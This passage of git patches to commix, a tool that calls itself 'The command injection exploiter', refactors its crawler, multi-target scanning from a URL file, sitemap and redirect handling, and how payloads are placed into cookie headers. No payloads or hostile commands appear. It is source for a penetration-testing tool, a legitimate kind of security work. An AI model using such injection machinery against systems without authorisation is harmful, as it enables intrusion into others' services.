open(menu.options.bulkfile) as f: + bulkfile = [url.strip() for url in f] + # Removing duplicates from list. + clean_bulkfile = [] + [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] + # Removing empty elements from list. + clean_bulkfile = [x for x in clean_bulkfile if x] + url_num = 0 + info_msg = "Found a total of " + str(len(clean_bulkfile)) + " target"+ "s"[len(clean_bulkfile) == 1:] + "." + print(settings.print_info_msg(info_msg)) + for url in clean_bulkfile: + url_num += 1 + print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "") + if not menu.options.batch: + question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "Y" + if message in settings.CHOICE_YES: + settings.INIT_TEST = True + if url == clean_bulkfile[-1]: + settings.EOF = True + # Reset the injection level + if menu.options.level > 3: + menu.options.level = 1 + init_injection(url) + try: + response, url = url_response(url) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url) + except: + pass + elif message in settings.CHOICE_NO: + pass + elif message in settings.CHOICE_QUIT: + raise SystemExit() + + # Check if option "--crawl" is enabled. + if settings.CRAWLING: + filename = crawler.store_crawling() + if settings.MULTI_TARGETS: + output_href = [] + for url in bulkfile: + output_href.append(url) + else: + output_href = crawler.crawler(menu.options.url) + # Removing duplicates from list. + clean_output_href = [] + [clean_output_href.append(x) for x in output_href if x not in clean_output_href] + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(clean_output_href) != 0: + settings.MULTI_TARGETS = True + info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." + print(settings.print_info_msg(info_msg)) + url_num = 0 + for url in clean_output_href: + if re.search(r"(.*?)\?(.+)", url): url_num += 1 - print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "") + print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + if filename is not None: + with open(filename, "a") as crawling_results: + crawling_results.write(url + "\n") if not menu.options.batch: question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) @@ -847,7 +856,7 @@ def main(filename, url): message = "Y" if message in settings.CHOICE_YES: settings.INIT_TEST = True - if url == clean_bulkfile[-1]: + if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level if menu.options.level > 3: @@ -879,16 +888,7 @@ def main(filename, url): main(filename, url) except KeyboardInterrupt: - abort_msg = "User aborted procedure " - abort_msg += "during the " + checks.assessment_phase() - abort_msg += " phase (Ctrl-C was pressed)." - new_line = "\n" - print(new_line + settings.print_abort_msg(abort_msg)) - try: - logs.print_logs_notification(filename, url) - print(settings.SINGLE_WHITESPACE) - except NameError: - raise SystemExit() + checks.user_aborted(filename, url) except SystemExit: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index cdfac48053..8a00bcec0d 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -407,6 +407,8 @@ def prefixes(payload, prefix): """ def suffixes(payload, suffix): # Check if defined "--suffix" option. + if settings.COOKIE_INJECTION and suffix == settings.COOKIE_DELIMITER: + suffix = "" if menu.options.suffix: payload = payload + suffix + menu.options.suffix else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e1aff96b06..24399f0288 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -366,7 +366,11 @@ def inject_cookie(url, vuln_parameter, payload, proxy): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload.replace("+", "%2B"))) + payload = payload.replace("+", "%2B") + if settings.INJECT_TAG in menu.options.cookie: + request.add_header('Cookie', menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) + else: + request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) response = opener.open(request) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 211c83acd9..1789f0b73b 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -135,7 +135,8 @@ def request(url): settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS += 1 # if settings.CRAWLING_DEPTH == 1: - print(settings.SINGLE_WHITESPACE) + if settings.TOTAL_OF_REQUESTS != 1: + print(settings.SINGLE_WHITESPACE) checks.connection_exceptions(err_msg, url) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) @@ -194,6 +195,7 @@ def do_process(url): def crawler(url): info_msg = "Starting crawler for target URL '" + url + "'" print(settings.print_info_msg(info_msg)) + response = request(url) if menu.options.sitemap_url: message = "" if not menu.options.crawldepth: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6eee285fef..fdaf822750 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "54" +REVISION = "55" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 9483ec147fa9f6ce76c4d9fb0b833e38a99bd6bb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 8 May 2022 08:06:50 +0300 Subject: [PATCH 132/560] Fixes https://github.com/commixproject/commix/issues/767 and added support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 15 +- src/core/main.py | 136 +++++++---------- src/core/requests/redirection.py | 5 +- src/utils/crawler.py | 187 +++++++++++++---------- src/utils/settings.py | 8 +- 6 files changed, 180 insertions(+), 172 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c8de73023b..e4f15ae11f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for normalizing crawling results. * Revised: Improvement regarding crawler. * Revised: Minor bug-fix regarding `--file-upload` option. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a76a4c49d5..38a4d95542 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -78,9 +78,11 @@ def connection_exceptions(err_msg, url): error_msg = str(err_msg) if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: print(settings.SINGLE_WHITESPACE) - if "ssl" in str(error_msg): + if "wrong version number" in str(error_msg).lower(): settings.MAX_RETRIES = 1 error_msg = "can't establish SSL connection" + elif "connection refused" in str(error_msg).lower(): + settings.MAX_RETRIES = 1 else: if settings.TOTAL_OF_REQUESTS == 1: if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(error_msg): @@ -95,7 +97,8 @@ def connection_exceptions(err_msg, url): warn_msg += "'--random-agent' switch and/or " warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS: + raise SystemExit() elif "infinite loop" in str(error_msg): error_msg = "Infinite redirect loop detected. " error_msg += "Please check all provided parameters and/or provide missing ones" @@ -114,12 +117,12 @@ def connection_exceptions(err_msg, url): info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")." - if not url: + if not isinstance(url, str): _ = "" else: - _ = " '" + url + "'" - if settings.MULTI_TARGETS or settings.CRAWLED_SKIPPED_URLS != 0: - error_msg = error_msg + " Skipping URL"+ _ +"." + _ = " Skipping URL '" + str(url) + "'." + if settings.MULTI_TARGETS: + error_msg = error_msg + _ print(settings.print_critical_msg(error_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: diff --git a/src/core/main.py b/src/core/main.py index a0b5f4b21e..d89e38536a 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -758,6 +758,19 @@ def main(filename, url): if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() + if not menu.options.bulkfile and not settings.CRAWLING: + if os_checks_num == 0: + settings.INIT_TEST = True + # Check if option is "--url" for single url test. + if menu.options.sitemap_url: + url = menu.options.sitemap_url + else: + url = menu.options.url + response, url = url_response(url) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url) + # Check if option is "-m" for multiple urls test. if menu.options.bulkfile: bulkfile = menu.options.bulkfile @@ -778,22 +791,46 @@ def main(filename, url): raise SystemExit() else: settings.MULTI_TARGETS = True + print(settings.SINGLE_WHITESPACE) + with open(menu.options.bulkfile) as f: + bulkfile = [url.strip() for url in f] - if settings.MULTI_TARGETS: - print(settings.SINGLE_WHITESPACE) - with open(menu.options.bulkfile) as f: - bulkfile = [url.strip() for url in f] - # Removing duplicates from list. - clean_bulkfile = [] - [clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile] - # Removing empty elements from list. - clean_bulkfile = [x for x in clean_bulkfile if x] - url_num = 0 - info_msg = "Found a total of " + str(len(clean_bulkfile)) + " target"+ "s"[len(clean_bulkfile) == 1:] + "." + # Check if option "--crawl" is enabled. + if settings.CRAWLING: + url_num = 1 + if not menu.options.bulkfile: + crawling_list = 1 + output_href = crawler.crawler(menu.options.url, url_num, crawling_list) + else: + output_href = [] + crawling_list = len(bulkfile) + for url in bulkfile: + output_href = (crawler.crawler(url, url_num, crawling_list)) + url_num += 1 + output_href = output_href + bulkfile + output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] + output_href = crawler.normalize_results(output_href) + filename = crawler.store_crawling() + else: + output_href = [] + output_href = output_href + bulkfile + filename = None + # Removing duplicates from list. + clean_output_href = [] + [clean_output_href.append(x) for x in output_href if x not in clean_output_href] + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(clean_output_href) != 0: + info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) - for url in clean_bulkfile: + url_num = 0 + for url in clean_output_href: + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: url_num += 1 - print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_bulkfile)) + "] URL - " + url) + "") + print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + if filename is not None: + with open(filename, "a") as crawling_results: + crawling_results.write(url + "\n") if not menu.options.batch: question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) @@ -803,7 +840,7 @@ def main(filename, url): message = "Y" if message in settings.CHOICE_YES: settings.INIT_TEST = True - if url == clean_bulkfile[-1]: + if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level if menu.options.level > 3: @@ -821,74 +858,11 @@ def main(filename, url): elif message in settings.CHOICE_QUIT: raise SystemExit() - # Check if option "--crawl" is enabled. - if settings.CRAWLING: - filename = crawler.store_crawling() - if settings.MULTI_TARGETS: - output_href = [] - for url in bulkfile: - output_href.append(url) - else: - output_href = crawler.crawler(menu.options.url) - # Removing duplicates from list. - clean_output_href = [] - [clean_output_href.append(x) for x in output_href if x not in clean_output_href] - # Removing empty elements from list. - clean_output_href = [x for x in clean_output_href if x] - if len(clean_output_href) != 0: - settings.MULTI_TARGETS = True - info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) - url_num = 0 - for url in clean_output_href: - if re.search(r"(.*?)\?(.+)", url): - url_num += 1 - print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - if filename is not None: - with open(filename, "a") as crawling_results: - crawling_results.write(url + "\n") - if not menu.options.batch: - question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES: - settings.INIT_TEST = True - if url == clean_output_href[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > 3: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs.logs_filename_creation(url) - main(filename, url) - except: - pass - elif message in settings.CHOICE_NO: - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() - - else: - if os_checks_num == 0: - settings.INIT_TEST = True - # Check if option is "--url" for single url test. - if menu.options.sitemap_url: - url = menu.options.sitemap_url - else: - url = menu.options.url - response, url = url_response(url) - if response != False: - filename = logs.logs_filename_creation(url) - main(filename, url) - except KeyboardInterrupt: - checks.user_aborted(filename, url) + try: + checks.user_aborted(filename, url) + except NameError: + raise SystemExit() except SystemExit: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index a1c4035cc6..562b722a2a 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -65,8 +65,8 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): return response.geturl() else: while True: - if not menu.options.batch: - if settings.CRAWLING: + if not menu.options.batch and not settings.FOLLOW_REDIRECT: + if settings.CRAWLING and settings.CRAWLED_URLS == 0: print(settings.SINGLE_WHITESPACE) question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" question_msg += "Do you want to follow the identified redirection? [Y/n] > " @@ -74,6 +74,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: redirection_option = "" if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: + settings.FOLLOW_REDIRECT = True if menu.options.batch and not settings.CRAWLING: info_msg = "Following redirection to '" + response.geturl() + "'. " print(settings.print_info_msg(info_msg)) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 1789f0b73b..a7120bc392 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -34,6 +34,77 @@ crawled_hrefs = [] new_crawled_hrefs = [] +""" +Change the crawling depth level. +""" +def set_crawling_depth(): + while True: + if not menu.options.batch: + question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "N" + if message in settings.CHOICE_YES or message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + # Change the crawling depth level. + if message in settings.CHOICE_YES: + while True: + question_msg = "Please enter the crawling depth level: > " + message = _input(settings.print_question_msg(question_msg)) + if len(message) == 0: + message = 1 + break + else: + menu.options.crawldepth = message + break + + +""" +Normalize crawling results. +""" +def normalize_results(output_href): + results = [] + while True: + if not menu.options.batch: + question_msg = "Do you want to normalize crawling results? [Y/n] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "Y" + if message in settings.CHOICE_YES: + seen = set() + for target in output_href: + value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") + match = re.search(r"/[^/?]*\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.append(target) + seen.add(key) + if len(results) != 0: + return results + elif message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + + +""" +Store crawling results to a temporary file. +""" def store_crawling(): while True: if not menu.options.batch: @@ -59,6 +130,7 @@ def store_crawling(): sys.stdout.flush() pass + """ Check for URLs in sitemap.xml. """ @@ -102,16 +174,19 @@ def sitemap(url): raise SystemExit() pass + """ Store the identified (valid) hrefs. """ def store_hrefs(href, identified_hrefs, redirection): if href not in crawled_hrefs: - if (settings.CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: + if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: new_crawled_hrefs.append(href) identified_hrefs = True crawled_hrefs.append(href) return identified_hrefs + + """ Do a request to target URL. """ @@ -134,13 +209,14 @@ def request(url): if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS += 1 - # if settings.CRAWLING_DEPTH == 1: - if settings.TOTAL_OF_REQUESTS != 1: + # if settings.DEFAULT_CRAWLING_DEPTH == 1: + if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS: print(settings.SINGLE_WHITESPACE) checks.connection_exceptions(err_msg, url) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) + """ The crawing process. """ @@ -151,7 +227,6 @@ def do_process(url): else: if settings.CRAWLED_SKIPPED_URLS == 0: sys.stdout.write("\r") - # Grab the crawled hrefs. try: response = request(url) @@ -178,7 +253,7 @@ def do_process(url): if len(crawled_hrefs) != 0: if identified_hrefs: - if len(new_crawled_hrefs) != 0 and settings.CRAWLING_DEPTH != 1: + if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1: return list(set(new_crawled_hrefs)) return list(set(crawled_hrefs)) return list("") @@ -189,11 +264,16 @@ def do_process(url): except Exception as e: # for non-HTML files and non-valid links pass + """ The main crawler. """ -def crawler(url): - info_msg = "Starting crawler for target URL '" + url + "'" +def crawler(url, url_num, crawling_list): + if crawling_list > 1: + _ = " (" + str(url_num) + "/" + str(crawling_list) + ")" + else: + _ = "" + info_msg = "Starting crawler for target URL '" + url + "'" + _ print(settings.print_info_msg(info_msg)) response = request(url) if menu.options.sitemap_url: @@ -218,41 +298,13 @@ def crawler(url): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - - if menu.options.crawldepth: - while True: - if not menu.options.batch: - question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "N" - if message in settings.CHOICE_YES or message in settings.CHOICE_NO: - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - # Change the crawling depth level. - if message in settings.CHOICE_YES: - while True: - question_msg = "Please enter the crawling depth level: > " - message = _input(settings.print_question_msg(question_msg)) - if len(message) == 0: - message = 1 - break - else: - menu.options.crawldepth = message - break + else: + set_crawling_depth() while True: - sitemap_check = None - if not menu.options.sitemap_url: + if not menu.options.sitemap_url and settings.SITEMAP_CHECK is None: if not menu.options.batch: - question_msg = "Do you want to check target for " + question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " question_msg += "the existence of site's sitemap(.xml)? [y/N] > " message = _input(settings.print_question_msg(question_msg)) else: @@ -260,10 +312,10 @@ def crawler(url): if len(message) == 0: message = "n" if message in settings.CHOICE_YES: - sitemap_check = True + settings.SITEMAP_CHECK = True break elif message in settings.CHOICE_NO: - sitemap_check = False + settings.SITEMAP_CHECK = False break elif message in settings.CHOICE_QUIT: raise SystemExit() @@ -273,26 +325,30 @@ def crawler(url): pass else: message = "n" - sitemap_check = True + settings.SITEMAP_CHECK = True break - if sitemap_check: + + if settings.SITEMAP_CHECK: output_href = sitemap(url) if output_href is None : - sitemap_check = False + settings.SITEMAP_CHECK = False - if not sitemap_check: + if not settings.SITEMAP_CHECK: output_href = do_process(url) - while settings.CRAWLING_DEPTH <= int(menu.options.crawldepth): + if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: + settings.DEFAULT_CRAWLING_DEPTH = 1 + while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth): info_msg = "Searching for usable " - info_msg += "links with depth " + str(settings.CRAWLING_DEPTH) + "." + info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." print(settings.print_info_msg(info_msg)) - if settings.CRAWLING_DEPTH != 1: + if settings.DEFAULT_CRAWLING_DEPTH != 1: output_href = new_crawled_hrefs link = 0 if output_href is not None: for url in output_href: - link += 1 if url not in visited_hrefs: + link += 1 + settings.CRAWLED_URLS = link visited_hrefs.append(url) do_process(url) info_msg = str(link) @@ -303,40 +359,9 @@ def crawler(url): print(settings.SINGLE_WHITESPACE) if link != 0: print(settings.SINGLE_WHITESPACE) - settings.CRAWLING_DEPTH += 1 + settings.DEFAULT_CRAWLING_DEPTH += 1 output_href = crawled_hrefs - results = [] - while True: - if not menu.options.batch: - question_msg = "Do you want to normalize crawling results? [Y/n] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "Y" - if message in settings.CHOICE_YES: - seen = set() - for target in output_href: - value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "") - match = re.search(r"/[^/?]*\?.+\Z", value) - if match: - key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") - if '=' in key and key not in seen: - results.append(target) - seen.add(key) - if len(results) != 0: - output_href = results - break - elif message in settings.CHOICE_NO: - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - return output_href # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index fdaf822750..42e9328a33 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "55" +REVISION = "56" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1133,11 +1133,15 @@ def sys_argv_errors(): # Crawling state CRAWLING = False CRAWLED_SKIPPED_URLS = 0 +CRAWLED_URLS = 0 # Skipped crawled hrefs HREF_SKIPPED = [] # Default crawling depth -CRAWLING_DEPTH = 1 +DEFAULT_CRAWLING_DEPTH = 1 +SITEMAP_CHECK = None + +FOLLOW_REDIRECT = False # eof \ No newline at end of file From 957856238e58d4806709ad839f9aefd1b9ef6de4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 9 May 2022 09:00:33 +0300 Subject: [PATCH 133/560] Fixes https://github.com/commixproject/commix/issues/768 and trivial updates --- src/core/injections/controller/controller.py | 3 --- src/core/main.py | 8 ++++++-- src/utils/crawler.py | 20 +++++++------------- src/utils/settings.py | 2 +- 4 files changed, 14 insertions(+), 19 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 198a678427..8f4fa148ce 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -372,7 +372,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." print(settings.print_warning_msg(warn_msg)) - checks.tamper_scripts(stored_tamper_scripts=False) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." @@ -579,7 +578,6 @@ def cookie_injection(url, http_request_method, filename, timesec): if check_parameter != parameter: if len(check_parameter) > 0: settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided if len(settings.TEST_PARAMETER) > 0: if menu.options.test_parameter != None: @@ -627,7 +625,6 @@ def get_request(url, http_request_method, filename, timesec): if check_parameter != url: if len(check_parameter) > 0: settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided if len(settings.TESTABLE_PARAMETER) > 0: if menu.options.test_parameter != None: diff --git a/src/core/main.py b/src/core/main.py index d89e38536a..2c43f320c0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -669,7 +669,10 @@ def main(filename, url): else: settings.LOCAL_HTTP_IP = None - if menu.options.crawldepth > 0 or menu.options.sitemap_url: + if menu.options.sitemap_url: + settings.SITEMAP_CHECK = True + + if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK: settings.CRAWLING = True # Check arguments @@ -797,12 +800,13 @@ def main(filename, url): # Check if option "--crawl" is enabled. if settings.CRAWLING: + output_href = [] url_num = 1 if not menu.options.bulkfile: crawling_list = 1 output_href = crawler.crawler(menu.options.url, url_num, crawling_list) + output_href.append(menu.options.url) else: - output_href = [] crawling_list = len(bulkfile) for url in bulkfile: output_href = (crawler.crawler(url, url_num, crawling_list)) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index a7120bc392..9c8a46aa88 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -93,7 +93,7 @@ def normalize_results(output_href): if len(results) != 0: return results elif message in settings.CHOICE_NO: - break + return output_href elif message in settings.CHOICE_QUIT: raise SystemExit() else: @@ -276,9 +276,10 @@ def crawler(url, url_num, crawling_list): info_msg = "Starting crawler for target URL '" + url + "'" + _ print(settings.print_info_msg(info_msg)) response = request(url) - if menu.options.sitemap_url: + + if settings.SITEMAP_CHECK: message = "" - if not menu.options.crawldepth: + if not settings.CRAWLING: while True: if not menu.options.batch: question_msg = "Do you want to enable crawler? [y/N] > " @@ -298,11 +299,10 @@ def crawler(url, url_num, crawling_list): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - else: set_crawling_depth() - while True: - if not menu.options.sitemap_url and settings.SITEMAP_CHECK is None: + if settings.SITEMAP_CHECK is None: + while True: if not menu.options.batch: question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " question_msg += "the existence of site's sitemap(.xml)? [y/N] > " @@ -323,17 +323,11 @@ def crawler(url, url_num, crawling_list): err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - else: - message = "n" - settings.SITEMAP_CHECK = True - break if settings.SITEMAP_CHECK: output_href = sitemap(url) - if output_href is None : - settings.SITEMAP_CHECK = False - if not settings.SITEMAP_CHECK: + if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None): output_href = do_process(url) if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1: settings.DEFAULT_CRAWLING_DEPTH = 1 diff --git a/src/utils/settings.py b/src/utils/settings.py index 42e9328a33..f7624a655c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "56" +REVISION = "57" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 68e1410d87a666196baab6dfb996741fd7272f16 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 10 May 2022 07:38:12 +0300 Subject: [PATCH 134/560] Trivial updates --- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 15 +++--- .../techniques/file_based/fb_handler.py | 47 ++++++++++++------- src/core/main.py | 8 ++-- src/core/requests/redirection.py | 2 +- src/utils/crawler.py | 9 ++-- src/utils/settings.py | 2 +- 7 files changed, 51 insertions(+), 34 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 38a4d95542..0919627d4c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -80,7 +80,7 @@ def connection_exceptions(err_msg, url): print(settings.SINGLE_WHITESPACE) if "wrong version number" in str(error_msg).lower(): settings.MAX_RETRIES = 1 - error_msg = "can't establish SSL connection" + error_msg = "Can't establish SSL connection" elif "connection refused" in str(error_msg).lower(): settings.MAX_RETRIES = 1 else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8f4fa148ce..1c0894548e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -377,6 +377,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) @@ -401,13 +402,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time print(settings.print_error_msg(err_msg)) pass - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that" + header_name - if not header_name == " cookie" and not the_type == " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += the_type + check_parameter + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) tests shows that" + header_name + if not header_name == " cookie" and not the_type == " HTTP header": + warn_msg += " " + str(http_request_method) + "" + warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += 